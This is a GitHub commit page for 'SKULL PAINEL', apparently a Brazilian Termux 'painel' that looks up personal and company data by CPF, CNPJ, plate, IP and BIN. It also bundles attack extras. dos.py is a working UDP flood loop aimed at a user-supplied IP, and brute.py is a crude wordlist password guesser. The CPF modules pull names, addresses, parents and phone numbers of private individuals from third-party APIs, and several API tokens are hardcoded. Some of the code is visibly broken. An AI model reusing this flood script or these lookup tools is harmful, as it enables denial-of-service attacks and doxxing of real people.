Skip to content
This repository has been archived by the owner on Sep 29, 2021. It is now read-only.

Commit

Permalink
0.5.1
Browse files Browse the repository at this point in the history
  • Loading branch information
oporadokrl committed May 22, 2021
0 parents commit ac3835e
Show file tree
Hide file tree
Showing 31 changed files with 738 additions and 0 deletions.
49 changes: 49 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
# SKULL PAINEL v0.5.1-beta
Um painel feito para ser simples e direto ao ponto.
# Captura de tela / Screenshot
![Menu](https://github.com/oporadokrl/skull-painel/blob/master/skull-painel.PNG)
# Instalação / Install
## Termux
```
apt update -y && apt upgrade -y
apt install python git -y
pip3 install requests
git clone https://github.com/oporadokrl/skull-painel.git
cd skull-painel
python3 main.py
```
## Funções do Painel
### Português
O Skull painel consulta:
- [x] CPF
- [x] CNPJ
- [x] placa
- [x] bancos
- [x] IP
- [x] BIN
- [x] CEP
Obs: a API CPF2 não está funcionando
### English
The Skull Painel searches for:
- [x] CPF
- [x] CNPJ
- [x] License Plate
- [x] Banks
- [x] Consulta por IP
- [x] Consulta por BIN
- [x] Consulta por CEP
Obs: the API CPF2 doesn't work
# Funções Extras / Extra functions
- DoS
- Bruteforce
- Wordlist
- Nmap
Obs: A Wordlist ainda não funciona
Obs: Wordlist still doesn't work
# Contato / Contact
## Desenvolvedor / Developer
Telegram: @yato_br
## Contribuinte / Contrib
Telegram: @OmgGass
# Licença / License
[MIT](https://choosealicense.com/licenses/mit/)
Binary file added data/__pycache__/cep.cpython-39.pyc
Binary file not shown.
Binary file added data/__pycache__/cnpj.cpython-39.pyc
Binary file not shown.
Binary file added data/__pycache__/covid.cpython-39.pyc
Binary file not shown.
Binary file added data/__pycache__/cpf.cpython-39.pyc
Binary file not shown.
Binary file added data/__pycache__/cpf2.cpython-39.pyc
Binary file not shown.
Binary file added data/__pycache__/data.cpython-39.pyc
Binary file not shown.
Binary file added data/__pycache__/ip.cpython-39.pyc
Binary file not shown.
Binary file added data/__pycache__/placa.cpython-39.pyc
Binary file not shown.
Binary file added data/__pycache__/tools.cpython-39.pyc
Binary file not shown.
Binary file added data/__pycache__/ui.cpython-39.pyc
Binary file not shown.
24 changes: 24 additions & 0 deletions data/banco.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
import requests
from data import ui
def consultar(lang):
bank_input = ui.input_dialog()
try:
bank_data = requests.get('https://brasilapi.com.br/api/banks/v1/{}'.format(bank_input)).json()
if 'message' not in bank_data:
msg= f'''
{lang[82]}: {bank_data['code']}
{lang[18]}: {bank_data['name']}
{lang[83]}: {bank_data['fullName']}
ISPB: {bank_data['ispb']}
'''
else:
msg = lang[12]
except:
msg = lang[12]
choice = ui.dialog_choice(msg)
if choice == '1' or choice == '01':
pass
elif choice == '2' or choice == '02':
Sair=True
else:
ui.dialog(lang[3]);time.sleep(3)
28 changes: 28 additions & 0 deletions data/bin.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
import requests
from data import ui
def consultar(lang):
bin_input = ui.input_dialog()
headers = {"Accept-Version": "3",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"}
req_data = requests.get('https://lookup.binlist.net/' + bin_input, headers=headers).json()
try:
msg=f'''
{lang[83]}: {req_data['scheme']}
{lang[56]}: {req_data['brand']}
{lang[34]}: {req_data['type']}
{lang[70]}: {req_data['country']['name']}
Latitude: {req_data['country']['latitude']}
Longitude: {req_data['country']['longitude']}
{lang[76]}: {req_data['country']['currency']}
'''
#Emoji: {req_data['country']['emoji']}
except:
msg = lang[12]

choice = ui.dialog_choice(msg)
if choice == '1' or choice == '01':
pass
elif choice == '2' or choice == '02':
Sair=True
else:
ui.dialog(lang[3]);time.sleep(3)
13 changes: 13 additions & 0 deletions data/brute.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
import os
CO='\033[m';R='\033[1;31m';B='\033[1;34m';C='\033[1;37m';CY='\033[1;36m';Y='\033[1;33m';G='\033[1;32m';RT='\033[;0m'
def breach_pass():
wordlist = 'word.txt'
file=''
print(f'{C}[{G}*{C}] Tentando ler wordlist.')
file = open(wordlist,'r')
passwords = (file.read()).split()
file.close()
for word in passwords:
print(f'{C}[{G}*{C}] Tentando senha: '+word)
os.popen('unzip -p '+word+' '+file)
os.system('clear')
31 changes: 31 additions & 0 deletions data/cep.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
import requests,time
from data import ui
def consultar(lang):
cep_input = ui.input_dialog()
if len(cep_input) != 8:
msg = lang[61]
else:
request = requests.get('https://viacep.com.br/ws/{}/json/'.format(cep_input))
adress_data = request.json()
try:
msg=f'''
{lang[17]}: {adress_data['cep']}
{lang[29]}: {adress_data['logradouro']}
{lang[30]}: {adress_data['complemento']}
{lang[49]}: {adress_data['bairro']}
{lang[68]}: {adress_data["localidade"]}
{lang[69]}: {adress_data['uf']}
IBGE: {adress_data['ibge']}
GIA: {adress_data['gia']}
SIAFI: {adress_data['siafi']}
DDD: {adress_data['ddd']}
'''
except:
msg = lang[12]
choice = ui.dialog_choice(msg)
if choice == '1' or choice == '01':
pass
elif choice == '2' or choice == '02':
Sair=True
ui.dialog(lang[3])
time.sleep(3)
67 changes: 67 additions & 0 deletions data/cnpj.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
import requests,time
from data import ui
def consultar(lang,cnpj_input=''):
if len(cnpj_input) < 1:
cnpj_input = ui.input_dialog()
msg=''
try:
cnpj_data = requests.get('https://www.receitaws.com.br/v1/cnpj/{}'.format(cnpj_input)).json()
except:
msg = lang[12]
if cnpj_data['status'] != "ERROR":
msg=f"""
{lang[15]}: {cnpj_data['cnpj']}
"""
message=f"""
{lang[23]}: {cnpj_data['atividade_principal'][0]['text']}
{lang[18]}: {cnpj_data['nome']}
{lang[17]}: {cnpj_data['cep']}
"""
msg = msg + message
try:
message=f"{lang[25]}: {cnpj_data['telefone']}"
msg = msg + message
except:
pass
try:
message=f"\nEmail: {cnpj_data['email']}"
msg = msg + message
except:
pass
message=f"""
{lang[26]}: {cnpj_data['situacao']}
{lang[27]}: {cnpj_data['uf']}
{lang[28]}: {cnpj_data['municipio']}
{lang[29]}: {cnpj_data['logradouro']}, {cnpj_data['numero']}
{lang[30]}: {cnpj_data['complemento']}
{lang[31]}: {cnpj_data['porte']}
{lang[32]}: {cnpj_data['natureza_juridica']}
{lang[33]}: {cnpj_data['abertura']}
{lang[34]}: {cnpj_data['tipo']}
{lang[35]}: {cnpj_data['capital_social']}
"""
msg = msg + message
for i in range(0,10):
try:
message=f"""
{lang[36]}: {cnpj_data['qsa'][i]['nome']}
{lang[37]}: {cnpj_data['qsa'][i]['qual']}
"""
msg = msg + message
except:
pass
else:
msg=cnpj_data['message']
choice = ui.dialog_choice(msg)
if choice == '1' or choice == '01':
pass
elif choice == '2' or choice == '02':
Sair=True
else:
ui.dialog(lang[3])
time.sleep(3)
def gerar(lang):
token="f01e0024a26baef3cc53a2ac208dd141"
cnpj_data=requests.get('http://geradorapp.com/api/v1/cnpj/generate?token={}'.format(token)).json()
cnpj_input = int(cnpj_data['data']['number'])
consultar(lang,cnpj_input)
24 changes: 24 additions & 0 deletions data/covid.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
import requests
from data import ui
def consultar(lang):
Sair = False
while(Sair==False):
choice = ui.input_dialog()
data = requests.get('https://covid19-brazil-api.now.sh/api/report/v1/brazil/uf/{}'.format(choice)).json()
msg = f'''
Data e horario local: {data['datetime']}
Estado: {data['state']}
UF: {data['uf']}
UID: {data['uid']}
Casos: {data['cases']}
Mortes: {data['deaths']}
Suspeitas: {data['suspects']}
Recusados: {data['refuses']}
'''
choice = ui.dialog_choice(msg)
if choice == '1' or choice == '01':
pass
elif choice == '2' or choice == '02':
Sair = True
else:
pass
27 changes: 27 additions & 0 deletions data/cpf.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
import requests,os,time
from data import ui
def consultar(lang):
Sair = False
while(Sair==False):
os.system("clear")
cpf_input = ui.input_dialog()
data = requests.get('http://api.trackear.com.br/basepv/cpf/{}/noip'.format(cpf_input)).json()
try:
msg = f"""
{lang[14]}: {data['cpf']}
{lang[18]}: {data['nome']}
{lang[19]}: {data['sexo']}
{lang[20]}: {data['dtNascimento']}
{lang[21]}: {data['idade']}
{lang[22]}: {data['dtConsulta']}
"""
except:
msg = lang[12]

choice = ui.dialog_choice(msg)
if choice == '1' or choice == '01':
pass
elif choice == '2' or choice == '02':
Sair=True
else:
ui.dialog(lang[3]);time.sleep(3)
41 changes: 41 additions & 0 deletions data/cpf2.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
import requests,time
from data import ui
# 00000000272
def consultar(lang):
cpf_input = ui.input_dialog()
api = requests.get('http://192.53.165.231/cCPF/{}'.format(cpf_input)).json()
msg = f'''
{lang[18]}: {api['nome']}
{lang[14]} : {api['cpf']}
{lang[40]} : {api['cns']}
{lang[19]}: {api['sexo']}
{lang[29]}: {api['enderecoLogradouro']}, {api['enderecoNumero']}
{lang[30]}: {api['enderecoComplemento']}
{lang[17]} : {api['enderecoCep']}
{lang[49]} : {api['enderecoBairro']}
{lang[18]} {lang[41]}: {api['nomeMae']}
{lang[18]} {lang[42]}: {api['nomePai']}
{lang[43]} : {api['nacionalidade']}
{lang[44]} : {api['encontradoReceita']}
{lang[47]} : {api['nomade']}
{lang[48]} : {api['tipoSanguineo']}
'''
mensage = ''
for i in range(0,10):
try:
mensage=f'''
{lang[25]}: ({api['telefone'][i]['ddd']}){api['telefone'][i]['numero']}
{lang[34]}: {api['telefone'][i]['tipoDescricao']}
'''
except:
i=10
mensage = msg+mensage
msg = msg.replace('true',lang[45]).replace('false',lang[46])
choice = ui.dialog_choice(msg)
if choice == '1' or choice == '01':
pass
elif choice == '2' or choice == '02':
Sair=True
else:
ui.dialog(lang[3])
time.sleep(3)
27 changes: 27 additions & 0 deletions data/crm.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
import requests
def consultar(crm_input,uf_input):
token = 5072097263
try:
url = 'https://www.consultacrm.com.br/api/index.php?tipo=crm&uf='+uf_input
data = requests.get(url+'&q={}&chave={}&destino=json'.format(crm_input,token))
crm_data = data.json()
except:
return 'CRM ou UF invalido'
limite = int(crm_data['api_limite'])
consultas= int(crm_data['api_consultas'])
restantes = int(limite - consultas)
if (crm_data['status']) == "true":
try:
msg = f'''
CRM: {crm_data["item"][0]["numero"]}
Nome: {crm_data["item"][0]["nome"]}
UF: {crm_data["item"][0]["uf"]}
Situacao: {crm_data["item"][0]["situacao"]}
Profiss?o: {crm_data["item"][0]["profissao"]}
Consultas restantes = {restantes}
'''
return msg
except:
return 'Erro! dados invalidos!'
else:
return 'CRM invalido'
30 changes: 30 additions & 0 deletions data/data.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
import os
global optionsfile,userfile,login,user,cpf_api,ip_api,placa_api,cnpj_api,language
# Retornar uma lista nomeada de options
# remover o arquivo user e colocar na options o username
optionsfile = './data/save/options'
def clear_config():
if os.path.exists(optionsfile):
try:
os.remove(optionsfile)
except:
os.system('rm '+optionsfile)

def write(language='pt',options='000000',user='yato'):
clear_config()
f = open(optionsfile,'a')
f.write(language);f.write(',');f.write(options);f.write(',');f.write(user)
f.close()

def read():
if os.path.exists(optionsfile):
f = open(optionsfile,'r')
options = (f.read()).split(',')
f.close()
else:
options = [
'pt',
'000000',
'yato'
]
return options
16 changes: 16 additions & 0 deletions data/dos.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
import socket,random
#############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
ip = input("Alvo : ")
port = input("Porta: ")
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print ("Sent {} packet to {} throught port:{}".format(sent,ip,port))
if port == 65534:
port = 1

Loading

0 comments on commit ac3835e

Please sign in to comment.